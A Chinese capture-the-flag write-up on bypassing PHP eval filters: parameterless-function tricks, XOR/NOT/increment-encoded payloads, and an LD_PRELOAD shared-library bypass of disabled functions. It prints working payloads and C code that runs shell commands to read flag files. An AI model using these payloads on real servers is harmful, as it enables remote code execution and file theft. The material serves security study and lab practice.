无参执行:过滤function(args)格式的参数,只能使用function()完成命令执行
绕过方式
请求头传参,利用getallheaders()函数获取请求头,在请求头中传递参数,拆分需要的参数
全局变量传参,利用get_defined_vars()函数获取变量值,传递参数
例题代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
审计代码,发现正则表达式中过滤类似function(function(args))之类的传参(可多层嵌套),基于此,使用全局变量传参绕过
利用思路
print_r(get_defined_vars())打印出当前全局变量,由于正则表达式中会判断是否为无参函数的格式,且只能为无参函数,因此不能使用echo 字串的形式输出,可以看到以数组形式输出
pos()函数获取数组第一个元素(涉及传参),print_r(pos(get_defined_vars()));
此时如果能够增加传参a(因为只判断code的内容),可以传递想要的命令执行代码,code=print_r(pos(get_defined_vars()));&a=system('cat flag');
由于传递的参数在末尾,使用end函数获取要执行的命令,code=print_r(end(pos(get_defined_vars())));&a=system('cat flag');
最终去除print_r,执行该命令,payload为code=eval(end(pos(get_defined_vars())));&a=system('cat flag');,成功读取flag
此外,还可以使用请求头绕过
print_r(getallheaders());作为code传递,观察输出
尝试增加请求头传递,观察输出,可以看到成功增加
和之前一样,只要能够获取cmd即可,最终payload为code=eval(pos(getallheaders()));
命令执行过滤字母数字,导致直接使用常规函数进行命令执行,因此需要先对payload进行处理
常见处理方式
异或处理,构造payload后,基于payload选择非字母数字的其他可见字符绕过
取反处理,对payload进行url编码,传递参数时传取反后的内容,不会被识别为可见字符
自增处理,基于某一个字符,经过自增后确定命令使用的其他字符
例题代码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9]/is',$_GET['cmd'])) {
eval($_GET['cmd']);
}
?>
审计代码,发现过滤字母数字,考虑采用上述方式首先对payload进行处理
异或处理脚本见靶场,脚本原理为遍历判断符合条件的非字母数字字符,payload为system('ls'),异或后变为$_='("((%-'^'[[[@@';$__='[,(['^'|@[|';$_($__);,成功执行
同理,也可以采用取反处理,payload为system('ls');,取反后(url编码)为$_=~('%8c%86%8c%8b%9a%92');$__=~('%93%8c');$_($__);
自增难点在于确定自增次数,有一个小技巧,可以先定义一个array,由于不包含字符数字,可以绕过,再取第一个字符A,基于该字符自增即可,payload过长,此处不放上来,靶场中脚本原理与这个差不多,可以自行构造
过滤下划线
闭合原本的php代码,之后执行后面的代码,利用短标签的方式,payload为?>,其中%a0%b8%ba%ab为对_GET的取反操作,后续传参时使用%a0,由于不对该参数校验,因此可以绕过
过滤下划线和$
可以不定义定义变量$_,直接使用(~'字符串')(~'字符串')即可
过滤;~^`&|
只能采用自增的方式,分号使用短标签替换
由于payload构造复杂,在此没有复现成功(QAQ!!!),感兴趣的大佬可以按照这个思路复现
LD_PRELOAD:指定该全局变量后,在程序加载动态链接库时,会优先加载该变量中指定的库
核心在于需要能够触发库加载的函数,一般为包含fork的函数
常用函数
mail,php自带,可触发加载库
imagemagick,需要手动安装扩展
error_log
利用条件
能够上传so文件,putenv未disable
触发load过程的函数未disable
例题
查看phpinfo,发现大部分函数均被禁用
审计代码发现存在webshell,蚁剑连接,成功后可上传文件,由于设置openbase_dir,因此无法访问根目录下的flag,但可以访问/tmp
编译动态链接库,注意和linux提供的api返回值和参数一致
#include <stdio.h>
#include <stdlib.h>
int getuid(){
unsetenv("LD_PRELOAD");
system("cat /flag>/tmp/flag");
}
上传.so,以及修改LD_PRELOAD和调用mail函数的php脚本
访问php,触发其中代码的执行,查看/tmp下生成的flag文件
php代码执行的难点在于无字母数字以及特殊字符的过滤,需要清楚payload中的变量对应的值,确保构造时不会出现问题
靶场部分exp已上传至github https://github.com/p0l42/phpcmd_utils.git